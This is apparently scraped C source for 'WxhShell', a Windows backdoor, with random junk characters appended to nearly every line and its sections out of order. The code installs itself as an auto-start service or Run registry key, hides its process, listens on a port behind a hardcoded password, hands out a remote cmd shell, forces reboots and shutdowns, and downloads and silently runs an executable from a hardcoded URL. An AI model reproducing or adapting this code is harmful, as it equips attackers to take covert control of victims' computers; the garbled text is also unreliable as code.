    if(Boot(SHUTDOWN)) }2.`N%[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WX?IYQ+  
    else { k$R-#f;  
    closesocket(wsh); KwSqKI7]0  
    ExitThread(0); HCs?iJ  
    } $a"Oc   
    break; a~}OZ&PG  
    } 1};Stai'  
  // 获取shell 9}<ile7^  
  case 's': { <0&*9ZeD  
    CmdShell(wsh); xF'EiX~  
    closesocket(wsh); q dBrQC  
    ExitThread(0); '9J/T57]e  
    break; NP3y+s  
  } [EXs  
  // 退出 [D4SW#  
  case 'x': { "$^ ~!1~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WlC:l  
    CloseIt(wsh); k"iOB-@B+  
    break; ?mxMk6w  
    } w-MCZwCr)  
  // 离开 q"8e a/  
  case 'q': { K=h9Ce  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /]Md~=yNp  
    closesocket(wsh); h2]P]@nW;W  
    WSACleanup(); SsDmoEeB[  
    exit(1); c9 _ rmz8  
    break; agDM~=#F  
        } *H2r@)Y[~  
  } k9 I%PH  
  } k)=s>&hl  
3ym',q  
  // 提示信息 9 -a0:bP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zt{[ *~  
} L48_96  
  } 1 bU,$4  
e\zm7_+i{  
  return; $ >eCqC3  
}  {Gk1vcq  
ZG8DIV\D7  
// shell模块句柄 D.u{~  
int CmdShell(SOCKET sock) mL{6L?  
{ "&?kC2Y|  
STARTUPINFO si; ^A&1^B  
ZeroMemory(&si,sizeof(si)); Flm%T-Dl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~4Fvy'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >tV{Pd1  
PROCESS_INFORMATION ProcessInfo; sBg.u  
char cmdline[]="cmd"; %pL''R9VF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q\7h`d%)  
  return 0; z,p~z*4  
} "JV_2K_i  
wc4{)qDE  
// 自身启动模式 E4/Dr}4  
int StartFromService(void) !M1"b;  
{ qqY"*uJ'  
typedef struct N5 6g+,w%)  
{ ^Y \"}D  
  DWORD ExitStatus; j6 z^Tt12  
  DWORD PebBaseAddress; x g  
  DWORD AffinityMask; '_FsvHQ  
  DWORD BasePriority; &n:.k}/P  
  ULONG UniqueProcessId; &B1WtW  
  ULONG InheritedFromUniqueProcessId; e6$WQd`O  
}   PROCESS_BASIC_INFORMATION; ;[OH(!  
[sj osV  
PROCNTQSIP NtQueryInformationProcess; ~=l;=7 T  
ENs&RZ;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hhc,uJ">!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7ZWgf"1j  
W.KDVE$}f  
  HANDLE             hProcess; =dYqS[kJW  
  PROCESS_BASIC_INFORMATION pbi; @`- 4G2IU}  
M%P:n/j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {B*s{{[/'  
  if(NULL == hInst ) return 0; JU&c.p /  
r52gn(,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 00~mOK;1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M!D3}JRm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ` 7V]y -  
bP&]!jZ  
  if (!NtQueryInformationProcess) return 0; RQ" ,3.R==  
B*Dz{a^.:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z o(rTCZX  
  if(!hProcess) return 0; e8?jmN`2  
?J >  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mtcw#D  
\xw5JGm  
  CloseHandle(hProcess); F0Yd@Lk$_  
O5T{eBo\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3 {sVVq5Y  
if(hProcess==NULL) return 0; ^>v+( z5R  
:nOFR$ W  
HMODULE hMod; aHK}sr,U  
char procName[255]; |[b{)s?x  
unsigned long cbNeeded; }a(dyr`S  
N6i Q8P -  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RPL:-  
$X,D(  
  CloseHandle(hProcess); f x+/C8GK  
Y9XEP7  
if(strstr(procName,"services")) return 1; // 以服务启动 ((M>s&\y*Y  
Jij*x>K>y  
  return 0; // 注册表启动 Bh-ym8D  
} 8&b,qQ~  
89(Q1R ?:  
// 主模块 sdw(R#GE  
int StartWxhshell(LPSTR lpCmdLine) ?hy&  
{ *VxgARIL  
  SOCKET wsl; /jJw0 5;L  
BOOL val=TRUE; WCixKYq  
  int port=0; bY~pc\V:`w  
  struct sockaddr_in door; k~1?VQ+?M  
WdbedU~`Q  
  if(wscfg.ws_autoins) Install(); &6nWzF  
gp.^~p]x  
port=atoi(lpCmdLine); 'm kLCS  
oW6XF-yM  
if(port<=0) port=wscfg.ws_port; ^s"R$?;h  
</*6wpN  
  WSADATA data; 7WZ+T"O{I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q>i^s@0  
|aq"#Ml)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]~3V}z,T*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V1M.JU  
  door.sin_family = AF_INET; ., 6-u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c9h6C  
  door.sin_port = htons(port); C e$w8z  
;u)I\3`*!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lw>N rY(Y  
closesocket(wsl); k;FUs[  
return 1; c yz3,3\e  
} p0vVkdd  
H9e<v4 c  
  if(listen(wsl,2) == INVALID_SOCKET) { T9   
closesocket(wsl); R8'RA%O9J  
return 1; ~b8]H|<'Y  
} pFjK}J OF  
  Wxhshell(wsl); brUF6rQ  
  WSACleanup(); vx5Zl&6r  
Qzw;i8n{  
return 0; ]~siaiN[  
$6poFo)U+  
} CzrC%xy  
(n_/`dP  
// 以NT服务方式启动 I-l_TpM)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Au@S$ij  
{ `VguQl_,gA  
DWORD   status = 0; h <<v^+m  
  DWORD   specificError = 0xfffffff; X!EP$!  
j?4qO]_Wx+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ab?aQ*$+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G]&qx`TBK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `r 3  
  serviceStatus.dwWin32ExitCode     = 0; KVa  
  serviceStatus.dwServiceSpecificExitCode = 0; a9Zq{Ysj  
  serviceStatus.dwCheckPoint       = 0; {E|$8)58i  
  serviceStatus.dwWaitHint       = 0; SXP]%{@ R/  
7s^'d,P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [ub e6  
  if (hServiceStatusHandle==0) return; DkDmE  
inp7K41  
status = GetLastError(); /Lr.e%  
  if (status!=NO_ERROR) NC6&x=!3  
{ >Cq<@$I2EB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _7_Y={4=`  
    serviceStatus.dwCheckPoint       = 0; xr^LFn)  
    serviceStatus.dwWaitHint       = 0; 'PW5ux@`<  
    serviceStatus.dwWin32ExitCode     = status; ysnx3(+|  
    serviceStatus.dwServiceSpecificExitCode = specificError; *MW\^PR?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5'u<iSmBo  
    return; P?P#RhvA1  
  } ;L ^o*`  
^E>3|du]O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W=+ Y|R!  
  serviceStatus.dwCheckPoint       = 0;  uHRsFlw  
  serviceStatus.dwWaitHint       = 0; KLk~Y0$:v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9 QJyZ  
} o}p n0KO,  
V0a3<6@4  
// 处理NT服务事件,比如:启动、停止 :NTO03F7v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C\hM =%  
{ +R:(_:7  
switch(fdwControl) (+hK%}K>  
{ 6j|{`Zd)G  
case SERVICE_CONTROL_STOP: @oGcuE  
  serviceStatus.dwWin32ExitCode = 0; Bk{]g=DO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #fM`}Ij.A  
  serviceStatus.dwCheckPoint   = 0; pT6$DB#  
  serviceStatus.dwWaitHint     = 0; %E;'ln4h&,  
  { MomwX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q22 GIr  
  } ba9?(+i$h  
  return; ;}p  
case SERVICE_CONTROL_PAUSE: *|HY>U.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4s oJ.j8  
  break; G=bCNn<  
case SERVICE_CONTROL_CONTINUE: m.0*NW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j![\& z  
  break; 1Ai^cf:S  
case SERVICE_CONTROL_INTERROGATE: >+T)#.wo&  
  break; 2MK-5 Kg  
}; +LJ73 !  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ZWm6eD  
} ]hV*r@d  
)=(kBWM  
// 标准应用程序主函数 l;E(I_ i)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9: lFo=  
{ AQ^u   
0<*<$U  
// 获取操作系统版本 y8xE 6i  
OsIsNt=GetOsVer(); EKN~H$.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1=v*O.XW`  
?gXp*>Kg[  
  // 从命令行安装 PQE =D0  
  if(strpbrk(lpCmdLine,"iI")) Install(); JlJ a #  
#lO Mm9  
  // 下载执行文件 ?\n > AC  
if(wscfg.ws_downexe) { zKK9r~ M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wa~=bH  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^=*;X;7  
} W} ofAkF  
_tycgq#  
if(!OsIsNt) { /zox$p$?h  
// 如果时win9x,隐藏进程并且设置为注册表启动 5`_SN74o  
HideProc(); dgP3@`YS  
StartWxhshell(lpCmdLine); gI`m.EH}}N  
} (w zQ2Dk  
else 3iU=c&P  
  if(StartFromService()) - ! S_ryL  
  // 以服务方式启动 f,Ghb~y  
  StartServiceCtrlDispatcher(DispatchTable); bN=P*hdf  
else h>bx}$q  
  // 普通方式启动 K|s, ru  
  StartWxhshell(lpCmdLine); UL9n-M =  
J,6yYIq  
return 0; q0 \6F^;M  
} 'O-"\J\  
L4l!96]a  
d0 /#nz  
iam1V)V  
=========================================== wS3'?PRX  
{Hk}Kow  
>5SSQ\2~a  
>KKMcTOYY  
9o!Bzy+_  
h FBe,'3M  
" wUM0M?_p[  
Dum9lj  
#include <stdio.h> _Bj":rzY  
#include <string.h> Z$? #  
#include <windows.h> v(%*b,^  
#include <winsock2.h> QSf|nNT  
#include <winsvc.h> rQ snhv  
#include <urlmon.h> f|oh.z_R  
AkiDL=;w  
#pragma comment (lib, "Ws2_32.lib") YZJyk:H\  
#pragma comment (lib, "urlmon.lib") g#E-pdY  
ku M$UYTTX  
#define MAX_USER   100 // 最大客户端连接数 1yY0dOoLG)  
#define BUF_SOCK   200 // sock buffer }l9llu   
#define KEY_BUFF   255 // 输入 buffer J9S>yLQK  
Yz)qcU  
#define REBOOT     0   // 重启 IO:G1;[/2L  
#define SHUTDOWN   1   // 关机 #A8sLkY  
Fv`,3aNB  
#define DEF_PORT   5000 // 监听端口 ""~ajy  
`5Zz5V  
#define REG_LEN     16   // 注册表键长度 C+&l< fM&  
#define SVC_LEN     80   // NT服务名长度 1[-tD 0{H  
El"Q'(:/U  
// 从dll定义API kB%JNMF{A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K!l5coM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )@bQu~Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kylVH! @l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  %D "I  
_v]MsT-q  
// wxhshell配置信息 )wh A<lC  
struct WSCFG { <1M-Ro?5k  
  int ws_port;         // 监听端口 q'MZ R'<@  
  char ws_passstr[REG_LEN]; // 口令 0_t!T'jr7  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uf+%W;}  
  char ws_regname[REG_LEN]; // 注册表键名 @U}1EC{A  
  char ws_svcname[REG_LEN]; // 服务名 S>1Iky|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;sFF+^~L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P7/X|M z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |P}y,pNQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m`r(p"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ooy7*W';  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SasJic2M  
Xla~Yg  
}; bA->{OPkT  
(Ep\Z 6*  
// default Wxhshell configuration 7D5]G-}x.  
struct WSCFG wscfg={DEF_PORT, #Mw8^FST  
    "xuhuanlingzhe", i~J'%a<Qp  
    1, f& '  
    "Wxhshell", ~&bq0 (  
    "Wxhshell", cExS7~*  
            "WxhShell Service", D}/vLw:v  
    "Wrsky Windows CmdShell Service", -3Vx76Y  
    "Please Input Your Password: ",  0lR5<^B  
  1, #;nYg?d=  
  "http://www.wrsky.com/wxhshell.exe", ZJs$STJ*  
  "Wxhshell.exe" gB'6`'  
    }; ~/P[J  
sON|w86B  
// 消息定义模块 ?5 7Sk+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o`*,|Nsq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3$9W%3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lU8`F(Mn  
char *msg_ws_ext="\n\rExit."; E~oOKQ5W  
char *msg_ws_end="\n\rQuit."; {{p7 3 'u  
char *msg_ws_boot="\n\rReboot..."; LSr]S79N1  
char *msg_ws_poff="\n\rShutdown..."; S|`o]?nc>  
char *msg_ws_down="\n\rSave to "; 3'u-'  
oM`0y@QCf  
char *msg_ws_err="\n\rErr!"; BR yl4  
char *msg_ws_ok="\n\rOK!"; 6~w@PRy  
9;-p'C  
char ExeFile[MAX_PATH]; yaH Zt`Y  
int nUser = 0; TbW38\>.R  
HANDLE handles[MAX_USER]; OpYY{f  
int OsIsNt; 9mTJ|sN:e  
Y`S vMkP)+  
SERVICE_STATUS       serviceStatus; :G%61x&=Zc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SNI)9k(T{  
q5)O%l!  
// 函数声明 G*P#]eO  
int Install(void); 7E~;xn;  
int Uninstall(void); IB] l1<  
int DownloadFile(char *sURL, SOCKET wsh); %Y*Ndt4  
int Boot(int flag); &FN.:_E  
void HideProc(void); 2a Q[zK  
int GetOsVer(void); a HR"n|7{  
int Wxhshell(SOCKET wsl); Gu\q%'I  
void TalkWithClient(void *cs); [:SWi1cK2  
int CmdShell(SOCKET sock); 5taT5?n2  
int StartFromService(void); p4 ^yVa  
int StartWxhshell(LPSTR lpCmdLine); ^sLdAC  
+OWX'~fd<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n[Y~]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C1 GKLl~  
*mvlb (' &  
// 数据结构和表定义 ={@6{-tl  
SERVICE_TABLE_ENTRY DispatchTable[] = [j/9neaye  
{ z/@slT  
{wscfg.ws_svcname, NTServiceMain}, <k'h:KB?`  
{NULL, NULL} Uf;^%*P4  
}; 9 X`Sm}i  
=R$u[~Xl2X  
// 自我安装 Ls+2Zbh  
int Install(void) h^(* Tv-!  
{ O.M>+~Nw  
  char svExeFile[MAX_PATH]; PmEsN&YP]  
  HKEY key; ra gXn  
  strcpy(svExeFile,ExeFile); N]=q|D  
M\Ye<Tk  
// 如果是win9x系统,修改注册表设为自启动 qHlQ+:n  
if(!OsIsNt) { hH8oyIC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L2i_X@/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ EQ<SCh  
  RegCloseKey(key); 6H WE~`ok6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ytJ/g/,A0i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YWO)HsjP  
  RegCloseKey(key); 0)e\`Bv  
  return 0; +.b,AqJ/  
    } 6wjw^m0  
  } Ww+IWW@  
} >7T'OC  
else { ,K"U> &  
:vQrOn18p  
// 如果是NT以上系统,安装为系统服务 C]`$AqKl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V1 `o%;j  
if (schSCManager!=0) WUXx;9>  
{ k:#!zK}  
  SC_HANDLE schService = CreateService ,pQZ@I\z  
  ( `V)8 QRN(  
  schSCManager, x,@B(9No  
  wscfg.ws_svcname, W ]?G}Q;  
  wscfg.ws_svcdisp, Vl=l?A8  
  SERVICE_ALL_ACCESS, -4IE]'##  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PQSP&  
  SERVICE_AUTO_START, }t=!(GOb}  
  SERVICE_ERROR_NORMAL, m{cGK`/\  
  svExeFile, Ru!iR#s)!  
  NULL, aU "8{  
  NULL, L;NvcUFn  
  NULL, :tB1D@Cb6  
  NULL, {14fA)`%  
  NULL {{D)YldtA  
  ); r|fL&dtr  
  if (schService!=0) f<fXsSv(  
  { %G/ hD  
  CloseServiceHandle(schService); .*?wF  
  CloseServiceHandle(schSCManager); RYQR(v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uLL]A>vR  
  strcat(svExeFile,wscfg.ws_svcname); Fg5kX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HI R~"It$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2Aazy'/  
  RegCloseKey(key); 'qb E=  
  return 0; Fa Qe_;  
    } "fCu=@i  
  } m '|b GV  
  CloseServiceHandle(schSCManager); rJT^H5!o"  
} r6MMCJ|G  
} V6&!9b  
?GoR^p #p  
return 1; ~Ei$nV  
} mzaWST]  
D9 CaFu  
// 自我卸载 7$vYo _  
int Uninstall(void) 'KS,'%  
{ ,.83m%i  
  HKEY key; 8 S:w7Hr  
x=hiQ>BIO0  
if(!OsIsNt) { 8>2.UrC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0[NZ>7wqMZ  
  RegDeleteValue(key,wscfg.ws_regname); 3LJ+v5T~  
  RegCloseKey(key); */)c?)"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3nIU1e  
  RegDeleteValue(key,wscfg.ws_regname); e#L8X {f  
  RegCloseKey(key); =)H.c uc  
  return 0; \}u Y'F  
  } Bw)/DM]  
} ^pAAzr"hv  
} JgKO|VO  
else { |"X*@s\'  
c?f4Q,%|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $k@O`xD,q  
if (schSCManager!=0) k$z_:X  
{ {3>$[bT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zw 26  
  if (schService!=0) F'={q{2wH  
  { Xk~D$~4<  
  if(DeleteService(schService)!=0) { ?yrX)3hyH  
  CloseServiceHandle(schService); U2tV4_ e  
  CloseServiceHandle(schSCManager); b(eNmu  
  return 0; :}L[sl\R  
  } \+oQd=K@  
  CloseServiceHandle(schService); '1P2$#  
  } 4x=v?g&  
  CloseServiceHandle(schSCManager); 0rQMLx  
} {k>&?Vd!  
} fy>{QC\  
$u$!tj  
return 1; )al]*[lY  
} lLX4Gq1  
O@T9x$  
// 从指定url下载文件 n$MO4s8)  
int DownloadFile(char *sURL, SOCKET wsh) z\\[S@>pt  
{ dc+>m,3$  
  HRESULT hr; 2RVN\?s:  
char seps[]= "/"; O W_{$9U  
char *token; |{z:IQLv  
char *file; @N>\|!1CC  
char myURL[MAX_PATH]; j nkR}wAA  
char myFILE[MAX_PATH]; i^/T  
=m]v8`g  
strcpy(myURL,sURL); JK7G/]j+Ez  
  token=strtok(myURL,seps); GL>O4S<`  
  while(token!=NULL) yJ[0WY8<kC  
  { 6+:iy'-  
    file=token; s$zLiQF;  
  token=strtok(NULL,seps); |0&IXOW"XF  
  } ]{;gw<T  
po c`q5i+  
GetCurrentDirectory(MAX_PATH,myFILE); HDz5&7* .  
strcat(myFILE, "\\"); +r�  
strcat(myFILE, file); w49t9~  
  send(wsh,myFILE,strlen(myFILE),0); nQF(vTDN  
send(wsh,"...",3,0); I {SjlN}d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XnH05LQ  
  if(hr==S_OK) rP'me2 B  
return 0; 7zl5yK N  
else sbfuzpg]*  
return 1; G~]Uk*M q  
.97])E[U  
} ^7`BP%6  
+X\FBvP&  
// 系统电源模块 (fhb0i-  
int Boot(int flag) 8$] 1M,$r  
{ _f7 9wx\B  
  HANDLE hToken; ]E{NNHK%2N  
  TOKEN_PRIVILEGES tkp; ;_XFo&@  
h<h%*av|  
  if(OsIsNt) { K$z2YJ%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ml`:UrU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f'F?MINJP  
    tkp.PrivilegeCount = 1; ImA @}:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^23~ZHu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qfX6TV5J}!  
if(flag==REBOOT) { k<z )WNBf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t"sBPLU\  
  return 0; 0RzEY!9g+  
} V_)-#=J  
else { 1Te %F+7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MnmVl"(/  
  return 0; "BAK !N$9  
} "mo?* a$Sk  
  } _OYasJUMG  
  else { \-E^lIVF  
if(flag==REBOOT) { -$\y_?}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q(G#W+r  
  return 0; )Dm s  
} )',R[|<  
else { />C^WQI^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [\]50=&  
  return 0; SV4E0c>  
} .C%<P"=J4h  
} 1> ?M>vK  
gE-tjoJ  
return 1; ]dVGUG8  
} #-rH1h3*q  
_r#Z}HK  
// win9x进程隐藏模块 g_E$=j92v  
void HideProc(void) XE RUo  
{ I]|Pq  
3l]lwV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RIR\']WN  
  if ( hKernel != NULL ) f^3*)Ni  
  { ?JbilK}a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T}Tp$.gB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j{ ]I]\=?  
    FreeLibrary(hKernel); !"AvY y9  
  } %jJG>T  
4IK( 7  
return; ,O5NLg-  
} (le9q5Qr.  
Ng&%o  
// 获取操作系统版本 UsG~row:!  
int GetOsVer(void) +bxYG D  
{ E, Z$pKL?  
  OSVERSIONINFO winfo; b1q"!+8y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -]Bq|qTH[(  
  GetVersionEx(&winfo); umBICC]CU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b#c:u2  
  return 1; 1dY}\Sp  
  else b)#hSjWO#  
  return 0; Y>z>11yEB0  
} BU)U/A8iS  
1q\\5A<V  
// 客户端句柄模块 f^ZRT@`O  
int Wxhshell(SOCKET wsl) &, vcJ{.  
{ G&SB-  
  SOCKET wsh; H H)!_(SA  
  struct sockaddr_in client; hR n<em  
  DWORD myID; 1.JK3 3  
KM0ru  
  while(nUser<MAX_USER) jwe*(k]z  
{ hW' )Sp  
  int nSize=sizeof(client); _{O>v\u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e4$H&'b|  
  if(wsh==INVALID_SOCKET) return 1; Tb}4wLu  
:k]1Lm||  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 234p9A@  
if(handles[nUser]==0) @u+]aI!`-  
  closesocket(wsh); ldcqe$7,  
else qbr$>xH  
  nUser++; LP^$AAy  
  } A Q U+mo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?,Xw[pR  
KkyVSoD\  
  return 0; ;C#F>SG\S  
} pad*oPH,  
M^Yh|%M  
// 关闭 socket P:S.~Jq  
void CloseIt(SOCKET wsh) atH*5X6d  
{ ~At7 +F[  
closesocket(wsh); +/7?HGf  
nUser--; \\ij(>CI  
ExitThread(0); P5V}#;v  
} =?* !"&h  
c]<5zyl"j1  
// 客户端请求句柄 g =hg%gRy"  
void TalkWithClient(void *cs) m~ABC#,2  
{ .LZ?S"z$ w  
?<,l3pwqa  
  SOCKET wsh=(SOCKET)cs; s^TZXCyF o  
  char pwd[SVC_LEN]; X`/k)N>l  
  char cmd[KEY_BUFF]; ]q[D>6_  
char chr[1]; By,eETU]  
int i,j; P;no?  
t3ZOco@~P  
  while (nUser < MAX_USER) { }&D WaO]J7  
59L\|OR  
if(wscfg.ws_passstr) { bWS&Yk(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U>SShpmZA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S+6.ZZ9c  
  //ZeroMemory(pwd,KEY_BUFF); Q\vpqE! 9  
      i=0; e{H=dIa+  
  while(i<SVC_LEN) { {fM'6;ak  
">nxHU  
  // 设置超时 VGN5<?PrN  
  fd_set FdRead; #%2rP'He  
  struct timeval TimeOut;  }v{LRRi  
  FD_ZERO(&FdRead); I@N8gn  
  FD_SET(wsh,&FdRead); I 34>X`[o  
  TimeOut.tv_sec=8; gJ+'W1$/  
  TimeOut.tv_usec=0; Rv>-4@fMJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d1T!+I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?j.,Nw4FC  
ATyEf5Id_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IPpN@  
  pwd=chr[0]; +`0k Fbx  
  if(chr[0]==0xd || chr[0]==0xa) { >'$Mp<  
  pwd=0; .Efk*  
  break; >:!5*E5?  
  } y^ *~B(T{  
  i++; S hWJ72c  
    } ^\% (,KNo  
="H%6S4'  
  // 如果是非法用户,关闭 socket Fo_sgv8O<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OT*mO&Z  
} kD%( _K5  
'LC1(V!_j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T-L||yE,h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B$K=\6o  
}.(B}/$u  
while(1) { JbbzV>  
*^4"5X@  
  ZeroMemory(cmd,KEY_BUFF); 3hH<T.@)  
_H%c;z+  
      // 自动支持客户端 telnet标准   w& #]-|$  
  j=0; ObS3 M  
  while(j<KEY_BUFF) { "S]TP$O D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e T{ 4{  
  cmd[j]=chr[0]; +'a^f5  
  if(chr[0]==0xa || chr[0]==0xd) { am'7uy!ka~  
  cmd[j]=0; 59A}}.@?m  
  break; dn3y\  
  } Lq^)R  
  j++; LRA8p<Rs  
    } q9_OGd|P  
7$=In K  
  // 下载文件  kJ}`V  
  if(strstr(cmd,"http://")) { Hn"RH1Zy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r19 pZAc  
  if(DownloadFile(cmd,wsh)) t~XN}gMxw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `^&OF u ee  
  else T5h H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y3b *a".X  
  } 4B.*g-L   
  else { ga+dt  
L,!?Nt\  
